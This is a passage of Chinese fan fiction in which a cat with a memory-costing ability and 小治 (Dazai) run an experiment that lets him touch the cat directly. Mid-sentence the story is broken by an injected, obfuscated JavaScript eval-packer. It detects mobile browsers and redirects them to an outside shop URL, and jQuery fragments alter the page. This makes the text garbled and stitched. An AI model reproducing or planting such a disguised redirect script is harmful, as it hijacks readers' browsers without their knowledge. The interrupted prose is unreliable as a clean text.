“但这也不能说是一个完全的坏消息,至少我们可以从中得知,你的异能力所选取来作为‘代价’的记忆,会优先选取‘坏’的那一部分。”
小治又提醒我:“但是,小咪你应该也对此心里有数吧,这种事可不代表是完全的好事,就算那是不愉快的记忆,但那也是你人生……嗯,猫生的一部分,换句话说,你的异能力可是在抽取你的生命呢。”
……小治说得对,猫的生命是有限的,而我们唯一能证明生命的流逝,以及那过程中所诞生的结果的,只有脑中的记忆,但我却在用它换取一些不知道值不值得的东西。
即使记忆本身就会随着时间而消退,但这种主动的遗忘跟被动的遗忘是不一样的概念,就像是老死跟自/杀一样,看似导向了一样的结局,但其过程、其代表的含义,却是截然不同的。
“那么,现在,让我们来正式进行这个实验吧——小咪,你准备好了吗?现在感到害怕的话,想要退出我也不会笑话你的。”
我点点头。
这应该已经是目前小治所能想到的最好的办法了。更何况,就算现下不去进行这个实验,但我总归要对我身上所依附的这种神奇的能力有所了解,在手中握着不甚了解的武器的时候,不去主动地了解它,而只是迷迷糊糊地随波逐流,我迟早会被它所伤害到。
这不会是一个我,以及关爱我的那些人愿意看到的场面。
也就是说,这几乎已经能够说是一件迫在眉睫的事情了。
毕竟,横滨并不比青森,这里要远比那里危险得多,这从我来到这里的短短时间内,就已经遇见过几次危机可以察觉出,但若是要我就这样灰溜溜地逃离这里,跑到一个所谓的“更安全”的地方去……先不说我愿不愿意,小治又愿意吗?
我看了一眼那个跟着小治来到这里的坂口科员——小治在这里也已经有了羁绊了,甚至也获得了一份工作,这已经是一个很不错的新生活的开端,我不能为了那些可有可无的东西毁掉它。
所以,就这样吧。
去面对它吧。
小治提醒我:“既然这样……那小咪你想想看,如果你现在可以丢失一部分记忆,你会优先选取那一部分?”他再次轻轻地点了下我的头,提醒我从那无止无休的对内心的拷问中回归现实。
“不过还要先准备一个道具呢……啊,有了。”他在周围看了看,溜达达地跑到厨房,从里面拿出了一罐白糖,以及一个苹果,“小咪你在想好大概可以舍弃的记忆之后——记得要选那种无关紧要的哦,就比如那次你被我拍了‘很棒’的记忆就很不错,我记得你当时就很愤恨的样子呢……好了好了,不要那个眼神,我只是提醒你而已啦~”
小治的做法很难让我不怀疑他是否是蓄谋已久,但他难道从那么早就已经开始布局了吗?应该只是巧合吧,毕竟他给我创造的可耻回忆可远远不止那一星半点……他会选取这个估计也是因为它还很“新鲜”吧。
总之,小治在给我“推荐”了可供选择的记忆之后,就继续说了起来:“……之后小咪你就试着将这两样东西变成苹果糖吧,这相对来说要简单很多不是吗?原材料我可都是准备好了呢。”
他施施然地将那两样东西在我面前一摆,就坐了下来,观察着我的下一步行动。
……小治是认真的吗?
但我看着那两样东西,却只能感到一阵无措,以及无语。
我并不是对小治有什么意见,也不是对苹果糖有什么意见,但我真的对用这两样东西来“生产”出苹果糖没有什么兴趣——至少没有产生出小治希望我产生的那种兴趣。
我除了像小治观察我那样地观察它们之外,好像也做不了什么,至少我完全没有感受到任何类似于某种能量在体内流动的感觉,或有什么事情要发生了的预兆。
我只能无措地再望了望小治,他似乎也看出了我的为难之处,皱了皱眉,小声地嘀咕了一句:“……居然做不到吗?”
……我听见了。
虽然不知道小治是不想要我有太多的顾虑还是因为别的什么,他的这句话的确非同寻常的小声,并不是他往常的那种装模作样的“小声”,而是真正的,不想被我听见的那种“小声”。
……好像的确有什么发生了,是什么呢?
我脑子里的记忆仿佛涨潮的海水那样翻涌起来,渐渐将我吞没……我感到一种不可思议的窒息感……那是什么……很奇怪……
……
等到我醒过神来的时候,我发现小治、乱步,以及那位坂口安吾都围着我,但我的脑袋还没能醒转过来——它暂时还处在一种迷糊的状态之中。
我有些迷糊地发问:“怎么了?发生什么了?”
为什么你们都围着我,让我很不安啊。
但他们只是看着我,并没有作答,只是脸色隐隐有些不对劲,特别是那位坂口安吾,他的情绪最明显,但我不知道那应该如何形容……大概,就是震惊吧。
就连乱步都用一种探究的眼神看着我,脸上是一种不加掩饰的严肃,我很少能从他的脸上看到这种表情,他平时多是用一种很是松懈的神态来面对这个世界的。
气氛……有些古怪。
“……小咪,我们成功了哦。”小治伸出手来,那上面放着一颗糖果。
而说着貌似应该用喜悦的态度说出的话的小治,说出的话却很是艰涩,脸上的表情也是似哭似笑,但那种种复杂的情绪糅杂在一起,最后却变成了什么都没有的无。
他面无表情地松开手,那颗糖果落在了我的身上,将我的毛发砸出一个小小的坑,但它却对于这样的一个小窝并不满足,又咕噜噜地滚下去,落到地上去,落到地板上,发出一声细小,但却刺耳的响声——
“嗒。”
似乎是什么尘埃落定的声音。
小治终于受不了了似的,一把抱住了我,紧紧的。
“……小咪……我……我错了……”他的声音很不自然,依然发涩,但我却对发生了什么一无所知。
发生什么了呢?为什么要这么说呢?
“怎么了,小治?”
“……小咪,你忘记什么了呢……你还记得我们之前在做什么吗?”小治的声音有些发闷。
他的手在我的背上轻柔地抚摸着,脸却紧紧地贴着我的肚皮,我依稀能
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574562|176840||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感受到他说话时嘴巴挪动的痕迹。
……做什么呢?
我的脑子依旧如浆糊那样,什么都挖掘不出来。
说起来,小治他们是什么时候来到这里的呢?
啊……我好像……
“我们……之前是在做一个实验?”
我不太确定,我的脑子现在真的不是很清醒,我甚至有些怀疑我是不是在做梦,因为此刻的一切都显得那么地荒诞不经,透露着一股不能细琢磨的晕眩感。
“……啊,是的,没错,真没想到小咪你居然还记得这点呢……”小治微带笑意的声音传来,此刻他的声音已经没有了之前的那种艰涩感,变得和平时一般润滑,但我却莫名觉得他此刻并不是真的在笑……是因为我已经见过很多次他的这副假笑的模样了吗?还是因为我感知不到他传达出来的愉快情绪呢?
但他的话依然还在继续。
“既然小咪你还记得这点的话……那你还记得那个实验的详情吗?没错哦,我,你,我们成功了。”
他抚摸着我的手一顿,他的脸终于离开了我,我看到了他脸上自然的笑容,仿佛真的发生了什么值得庆祝的事情一般。
——我们成功了,不是吗?
他说:“小咪,你看看这是什么呢?”
小治将那只抚摸着我的手抽了回去,在我面前扬了扬——那是一只幼小细嫩的手,上面缠着些绷带,隐隐能从未被完全包裹住的肌肤上看到一些细小的伤痕,让人不禁猜疑起在它身上究竟发生了什么,这难道不是一双孩子的手吗?为什么会有这些不该在这上面出现的痕迹呢?
但除此之外,手指却都裸露了出来。
是的,是裸露的。
“你看,是我在‘摸’你哦,直接的……”小治微微眯起了眼睛,“这难道不是一个好消息吗?”
“之前,我希望你用你的异能力将苹果和白糖变成苹果糖,而那颗糖——”他垂下眼,瞥了那颗落在地上的糖果一眼,“正是你异能力的产物,但它却能在我的接触下依旧维持那副被改变过的形状,这也就是说——小咪,你的‘已成定果’的异能力产物,是无法被我的「人间失格」消除的呢。”
啊,好像是这样。
我经小治提醒,才恍然惊觉小治和我之间的接触并没有间隔着任何东西。
“这真是太好了,小治!”
虽然不知道小治态度中隐隐透露出来的“坏事”是什么,但此刻的我,的确为这个“好消息”而高兴着。
——困扰了我们,又间隔了我们的矛盾消失了,这当然是一个再好不过的好消息了。
这些天我可是一直被这个问题困扰着,想必小治也是这样的吧。
我们从相识相知以来,未离开彼此这么久过。
这段时间就像是将一辈子的孤寂都尝了个遍……并非说之前从未有过那种孤独的感受,但在感受过有同伴的陪伴过后,那种似乎已经在过往的生活中习惯了的孤独,貌似已经变得无法忍受了。
我无法说出这两者之间到底哪个更好一些,但我想我并不会后悔和小治的相遇……
所以说,这真的是太好了。